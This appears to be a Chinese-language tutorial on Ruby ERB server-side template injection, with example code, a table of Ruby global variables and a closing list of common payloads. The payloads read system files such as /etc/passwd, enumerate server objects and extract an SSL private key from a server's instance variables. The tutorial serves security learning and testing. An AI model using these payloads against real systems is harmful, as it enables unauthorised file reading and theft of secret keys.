Ruby的ERB模板注入
基本语法
- <%写逻辑脚本(Ruby语法)%>
- <%=直接输出变量值或运算结果%>
1
2
3
4
5
6
7
8
| require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
x = 4
puts erb_object.result(binding())
|
这样会输出5和4
如果x可控,即可实现常见的ssti
1
2
3
4
5
6
| require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())
|
还可以进行文件读取
1
2
3
4
5
6
| require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('/etc/passwd').read
puts erb_object.result(binding())
|
枚举当前类的可用方法
1
2
3
4
5
6
| require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())
|
ruby的全局变量
更准确的这个链接globals - Documentation for Ruby 2.4.0
| Ruby全局变量 | 中文释义 |
|---|
| $! | 错误信息 |
| $@ | 错误发生的位置 |
| $0 | 正在执行的程序的名称 |
| $& | 成功匹配的字符串 |
| $/ | 输入分隔符,默认为换行符 |
| $\ | 输出记录分隔符(print和IO) |
| $. | 上次读取的文件的当前输入行号 |
| $; $-F | 默认字段分隔符 |
| $, | 输入字符串分隔符,连接多个字符串时用到 |
| $= | 不区分大小写 |
| $~ | 最后一次匹配数据 |
| $` | 最后一个成功匹配的字符串左侧的字符串 |
| $’ | 最后一个成功匹配的字符串右侧的字符串 |
| $+ | 最后一个括号匹配内容 |
| $1~$9 | 各组匹配结果 |
| $< ARGF | 命令行中给定的文件的虚拟连接文件(如果未给定任何文件,则从$stdin) |
| $> | 打印的默认输出 |
| $_ | 从输入设备中读取的最后一行 |
| $* ARGV | 命令行参数 |
| $$ | 运行此脚本的Ruby的进程号 |
| $? | 最后执行的子进程的状态 |
| $: $-I | 加载的二进制模块(库)的路径 |
| $“ | 数组包含的需要加载的库的名字 |
| $DEBUG $-d | 调试标志,由-d开关设置 |
| $LOADED_FEATURES | $“的别名 |
| $FILENAME | 来自$<的当前输入文件 |
| $LOAD_PATH | $: |
| $stderr | 当前标准误差输出 |
| $stdin | 当前标准输入 |
| $stdout | 当前标准输出 |
| $VERBOSE $-v | 详细标志,由-w或-v开关设置 |
| $-0 | $/ |
| $-a | 只读 |
| $-i | 在in-place-edit模式下,此变量保存扩展名 |
| NIL | 0本身 |
| ENV | 当前环境变量 |
| RUBY_VERSION | Ruby版本 |
| RUBY_RELEASE_DATE | 发布日期 |
| RUBY_PLATFORM | 平台标识符 |
常用payload
1
2
3
4
5
6
7
8
9
10
| <%= 7 * 7 %>
<%= File.open(‘/etc/passwd’).read %>
<%= self %> //枚举该对象可用的属性及方法
<%= self.class.name %> //获取self对象的类名
<%= self.methods %>
<%= self.method(:handle_POST).parameters %> //获取目标所需的具体参数
<%= session.class.name %>
<%= self.instance_variables %>
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %> //提取key值
|